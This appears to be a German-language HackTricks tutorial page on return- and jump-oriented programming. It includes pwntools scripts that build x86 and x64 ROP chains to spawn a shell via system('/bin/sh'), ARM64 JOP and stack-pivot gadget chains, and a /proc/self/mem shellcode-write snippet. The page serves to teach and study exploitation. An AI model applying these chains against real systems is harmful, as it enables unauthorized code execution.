ROP & JOP

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Return-Oriented Programming (ROP) ist eine fortgeschrittene Exploitation-Technik, die verwendet wird, um Sicherheitsmechanismen wie No-Execute (NX) oder Data Execution Prevention (DEP) zu umgehen. Anstatt shellcode zu injizieren und auszuführen, nutzt ein Angreifer bereits im Binary oder in geladenen Bibliotheken vorhandene Codefragmente, bekannt als “gadgets”. Jedes gadget endet typischerweise mit einer ret-Anweisung und führt eine kleine Operation aus, wie z. B. das Verschieben von Daten zwischen Registern oder arithmetische Operationen. Durch das Verketten dieser gadgets kann ein Angreifer eine payload konstruieren, um beliebige Operationen auszuführen und so NX/DEP-Schutzmaßnahmen effektiv zu umgehen.

Wie ROP funktioniert

  1. Control Flow Hijacking: Zuerst muss ein Angreifer den Kontrollfluss eines Programms übernehmen, typischerweise indem er einen buffer overflow ausnutzt, um eine gespeicherte Rücksprungadresse auf dem Stack zu überschreiben.
  2. Gadget Chaining: Der Angreifer wählt dann sorgfältig gadgets aus und verkettet sie, um die gewünschten Aktionen auszuführen. Das kann das Setzen von Argumenten für einen Funktionsaufruf, das Aufrufen der Funktion (z. B. system("/bin/sh")) und das Verarbeiten notwendiger Aufräumarbeiten oder zusätzlicher Operationen umfassen.
  3. Payload Execution: Wenn die verwundbare Funktion zurückkehrt, beginnt sie statt an einen legitimen Ort zurückzukehren mit der Ausführung der Kette von gadgets.

Tools

Typischerweise können gadgets mithilfe von ROPgadget, ropper oder direkt mit pwntools (ROP) gefunden werden.

ROP-Chain im x86 Beispiel

x86 (32-bit) Aufrufkonventionen

  • cdecl: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). Arguments are pushed onto the stack from right to left.
  • stdcall: Similar to cdecl, but the callee is responsible for cleaning the stack.

Gadgets finden

Zuerst nehmen wir an, dass wir die notwendigen gadgets innerhalb des Binaries oder seiner geladenen Bibliotheken identifiziert haben. Die gadgets, die uns interessieren, sind:

  • pop eax; ret: Dieses gadget nimmt den obersten Wert vom Stack in das EAX-Register auf und führt dann ein ret aus, wodurch wir EAX kontrollieren können.
  • pop ebx; ret: Analog zum obigen, aber für das EBX-Register, wodurch EBX kontrollierbar wird.
  • mov [ebx], eax; ret: Verschiebt den Wert in EAX an die Speicheradresse, auf die EBX zeigt, und führt dann ein ret aus. Dies wird oft als write-what-where gadget bezeichnet.
  • Zusätzlich haben wir die Adresse der system()-Funktion verfügbar.

ROP Chain

Mit pwntools bereiten wir den Stack für die Ausführung der ROP-Chain wie folgt vor, mit dem Ziel system('/bin/sh') auszuführen — beachte, wie die Kette beginnt mit:

  1. Eine ret-Anweisung zur Ausrichtung (optional)
  2. Adresse der system-Funktion (vorausgesetzt ASLR ist deaktiviert und libc bekannt, mehr Infos in Ret2lib)
  3. Platzhalter für die Rücksprungadresse von system()
  4. Adresse des Strings "/bin/sh" (Parameter für die system-Funktion)
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

ROP Chain in x64 Example

x64 (64-bit) Calling conventions

  • Verwendet die System V AMD64 ABI Aufrufkonvention auf Unix-ähnlichen Systemen, wobei die ersten sechs Ganzzahl- oder Zeigerargumente in den Registern RDI, RSI, RDX, RCX, R8 und R9 übergeben werden. Zusätzliche Argumente werden auf dem Stack übergeben. Der Rückgabewert wird in RAX abgelegt.
  • Die Windows x64 Aufrufkonvention verwendet RCX, RDX, R8 und R9 für die ersten vier Ganzzahl- oder Zeigerargumente, zusätzliche Argumente werden auf dem Stack übergeben. Der Rückgabewert wird in RAX abgelegt.
  • Registers: 64-bit registers include RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, and R8 to R15.

Finding Gadgets

Für unseren Zweck konzentrieren wir uns auf Gadgets, mit denen wir das RDI-Register setzen können (um den String “/bin/sh” als Argument an system() zu übergeben) und anschließend die system()-Funktion aufzurufen. Wir nehmen an, dass wir die folgenden Gadgets identifiziert haben:

  • pop rdi; ret: Nimmt den obersten Wert vom Stack und legt ihn in RDI ab, dann kehrt es zurück. Essenziell, um unser Argument für system() zu setzen.
  • ret: Ein einfacher Return, nützlich zur Stack-Ausrichtung in einigen Szenarien.

Und wir kennen die Adresse der system()-Funktion.

ROP Chain

Unten ist ein Beispiel mit pwntools, um eine ROP-Chain aufzubauen und auszuführen, die darauf abzielt, system(‘/bin/sh’) auf x64 auszuführen:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

In diesem Beispiel:

  • Wir verwenden das pop rdi; ret gadget, um RDI auf die Adresse von "/bin/sh" zu setzen.
  • Wir springen direkt zu system() nachdem wir RDI gesetzt haben, wobei die Adresse von system() in der Kette enthalten ist.
  • ret_gadget wird zur Ausrichtung verwendet, falls die Zielumgebung dies erfordert, was bei x64 häufiger vorkommt, um die korrekte Stack-Ausrichtung vor Funktionsaufrufen sicherzustellen.

Stack Alignment

The x86-64 ABI garantiert, dass der Stack beim Ausführen einer call instruction 16-Byte-ausgerichtet ist. LIBC verwendet zur Leistungsoptimierung SSE instructions (wie movaps), die diese Ausrichtung voraussetzen. Wenn der Stack nicht richtig ausgerichtet ist (d. h. RSP ist kein Vielfaches von 16), schlagen Aufrufe von Funktionen wie system in einer ROP chain fehl. Um das zu beheben, füge einfach ein ret gadget ein, bevor du system in deiner ROP chain aufrufst.

Hauptunterschied zwischen x86 und x64

Tip

Da x64 für die ersten Argumente Register verwendet, benötigt es für einfache Funktionsaufrufe oft weniger gadgets als x86, aber das Finden und Verketten der richtigen gadgets kann aufgrund der größeren Anzahl an Registern und des größeren Adressraums komplexer sein. Die erhöhte Anzahl an Registern und der größere Adressraum in der x64-Architektur bieten sowohl Chancen als auch Herausforderungen für die Exploit-Entwicklung, insbesondere im Kontext von Return-Oriented Programming (ROP).

ROP chain in ARM64

Bezüglich ARM64 Basics & Calling conventions, siehe die folgende Seite für diese Informationen:

Introduction to ARM64v8

[!DANGER] Es ist wichtig zu beachten, dass man beim Springen zu einer Funktion mittels ROP in ARM64 mindestens zur zweiten Instruktion der Funktion springen sollte, um zu verhindern, dass der aktuelle Stack-Pointer auf dem Stack gespeichert wird und man in eine endlose Schleife gerät, die die Funktion immer wieder aufruft.

Finding gadgets in system Dylds

Die system libraries werden in einer einzigen Datei namens dyld_shared_cache_arm64 kompiliert. Diese Datei enthält alle system libraries in einem komprimierten Format. Um diese Datei vom Mobilgerät herunterzuladen, kannst du Folgendes tun:

scp [-J <domain>] root@10.11.1.1:/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 .
# -Use -J if connecting through Corellium via Quick Connect

Dann kannst du ein paar Tools verwenden, um die eigentlichen Bibliotheken aus der Datei dyld_shared_cache_arm64 zu extrahieren:

brew install keith/formulae/dyld-shared-cache-extractor
dyld-shared-cache-extractor dyld_shared_cache_arm64 dyld_extracted

Um interessante gadgets für die binary, die Sie exploiting, zu finden, müssen Sie zunächst wissen, welche libraries vom binary geladen sind. Dazu können Sie lldb* verwenden:

lldb ./vuln
br s -n main
run
image list

Schließlich kannst du Ropper nutzen, um Gadgets in den Bibliotheken zu finden, für die du dich interessierst:

# Install
python3 -m pip install ropper --break-system-packages
ropper --file libcache.dylib --search "mov x0"

JOP - Jump Oriented Programming

JOP ist eine ähnliche Technik wie ROP, aber jedes Gadget verwendet statt einer RET-Anweisung am Ende des Gadgets Sprungadressen. Das kann besonders nützlich sein in Situationen, in denen ROP nicht praktikabel ist, beispielsweise wenn keine geeigneten Gadgets verfügbar sind. Dies wird häufig in ARM-Architekturen verwendet, wo die ret-Anweisung nicht so häufig genutzt wird wie in x86/x64-Architekturen.

Du kannst rop-Tools auch verwenden, um JOP-Gadgets zu finden, zum Beispiel:

cd usr/lib/system # (macOS or iOS) Let's check in these libs inside the dyld_shared_cache_arm64
ropper --file *.dylib --search "ldr x0, [x0" # Supposing x0 is pointing to the stack or heap and we control some space around there, we could search for Jop gadgets that load from x0

Schauen wir uns ein Beispiel an:

  • Es gibt einen heap overflow, der es uns erlaubt, einen function pointer zu überschreiben, der im heap gespeichert ist und aufgerufen wird.

  • x0 zeigt auf den heap, in dem wir etwas Speicher kontrollieren

  • Aus den geladenen system libraries finden wir die folgenden gadgets:

0x00000001800d1918: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2;
0x00000001800e6e58: ldr x0, [x0, #0x20]; ldr x3, [x0, #0x10]; br x3;
  • Wir können das erste gadget verwenden, um x0 mit einem Pointer auf /bin/sh (im heap gespeichert) zu laden und dann x2 aus x0 + 0x30 mit der Adresse von system zu laden und darauf zu springen.

Stack Pivot

Stack pivoting ist eine Technik, die in exploitation verwendet wird, um den stack pointer (RSP in x64, SP in ARM64) so zu ändern, dass er auf einen kontrollierten Bereich im Speicher zeigt, wie z. B. den heap oder einen buffer auf dem stack, wo der attacker seine payload platzieren kann (usually a ROP/JOP chain).

Beispiele für Stack Pivoting chains:

  • Beispiel: nur 1 gadget:
mov sp, x0; ldp x29, x30, [sp], #0x10; ret;

The `mov sp, x0` instruction sets the stack pointer to the value in `x0`, effectively pivoting the stack to a new location. The subsequent `ldp x29, x30, [sp], #0x10; ret;` instruction loads the frame pointer and return address from the new stack location and returns to the address in `x30`.
I found this gadget in libunwind.dylib
If x0 points to a heap you control, you can control the stack pointer and move the stack to the heap, and therefore you will control the stack.

0000001c61a9b9c:
ldr x16, [x0, #0xf8];    // Control x16
ldr x30, [x0, #0x100];   // Control x30
ldp x0, x1, [x0];        // Control x1
mov sp, x16;             // Control sp
ret;                     // ret will jump to x30, which we control

To use this gadget you could use in the heap something like:
<address of x0 to keep x0>     # ldp x0, x1, [x0]
<address of gadget>            # Let's suppose this is the overflowed pointer that allows to call the ROP chain
"A" * 0xe8 (0xf8-16)           # Fill until x0+0xf8
<address x0+16>                # Lets point SP to x0+16 to control the stack
<next gadget>                  # This will go into x30, which will be called with ret (so add of 2nd gadget)
  • Beispiel mehrere gadgets:
// G1: Typical PAC epilogue that restores frame and returns
// (seen in many leaf/non-leaf functions)
G1:
ldp     x29, x30, [sp], #0x10     // restore FP/LR
autiasp                          // **PAC check on LR**
retab                            // **PAC-aware return**

// G2: Small helper that (dangerously) moves SP from FP
// (appears in some hand-written helpers / stubs; good to grep for)
G2:
mov     sp, x29                  // **pivot candidate**
ret

// G3: Reader on the new stack (common prologue/epilogue shape)
G3:
ldp     x0, x1, [sp], #0x10      // consume args from "new" stack
ret
G1:
stp x8, x1, [sp]  // Store at [sp] → value of x8 (attacker controlled) and at [sp+8] → value of x1 (attacker controlled)
ldr x8, [x0]      // Load x8 with the value at address x0 (controlled by attacker, address of G2)
blr x8            // Branch to the address in x8 (controlled by attacker)

G2:
ldp x29, x30, [sp], #0x10  // Loads x8 -> x29 and x1 -> x30. The value in x1 is the value for G3
ret
G3:
mov sp, x29       // Pivot the stack to the address in x29, which was x8, and was controlled by the attacker possible pointing to the heap
ret

Shellcode via /proc/self/mem (Embedded Linux)

Wenn bereits eine ROP chain vorhanden ist, aber no RWX mappings, besteht eine Alternative darin, write shellcode into the current process using /proc/self/mem und anschließend dorthin zu springen. Dies ist bei Embedded Linux-Zielen üblich, wo /proc/self/mem in Standardkonfigurationen Schreibschutz für ausführbare Segmente ignorieren kann.

Typische chain-Idee:

fd = open("/proc/self/mem", O_RDWR);
lseek(fd, target_addr, SEEK_SET);   // e.g., a known RX mapping or code cave
write(fd, shellcode, shellcode_len);
((void(*)())target_addr)();         // ARM Thumb: jump to target_addr | 1

Wenn es schwierig ist, fd zu erhalten, kann mehrfaches Aufrufen von open() das Raten des Dateideskriptors für /proc/self/mem praktikabel machen. Auf ARM-Thumb-Zielen daran denken, beim Branching das niederwertige Bit zu setzen (addr | 1).

Schutzmechanismen gegen ROP und JOP

  • ASLR & PIE: Diese Schutzmaßnahmen erschweren die Nutzung von ROP, da sich die Adressen der Gadgets zwischen den Ausführungen ändern.
  • Stack Canaries: Im Falle eines BOF muss der gespeicherte Stack Canary umgangen werden, um Rücksprungzeiger zu überschreiben und eine ROP-Kette auszunutzen.
  • Mangel an Gadgets: Wenn nicht genügend Gadgets vorhanden sind, ist es nicht möglich, eine ROP-Kette zu erzeugen.

ROP-basierte Techniken

Beachte, dass ROP nur eine Technik ist, um beliebigen Code auszuführen. Auf Basis von ROP wurden viele Ret2XXX-Techniken entwickelt:

  • Ret2lib: Verwende ROP, um beliebige Funktionen aus einer geladenen Bibliothek mit beliebigen Parametern aufzurufen (üblicherweise etwas wie system('/bin/sh')).

Ret2lib

  • Ret2Syscall: Verwende ROP, um einen Aufruf zu einem syscall vorzubereiten, z. B. execve, und damit beliebige Befehle auszuführen.

Ret2syscall

  • EBP2Ret & EBP Chaining: Das erste missbraucht EBP statt EIP, um den Ablauf zu kontrollieren, und das zweite ähnelt Ret2lib, aber hier wird der Ablauf hauptsächlich mit EBP-Adressen gesteuert (obwohl es auch nötig ist, EIP zu kontrollieren).

Stack Pivoting

Weitere Beispiele & Referenzen

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks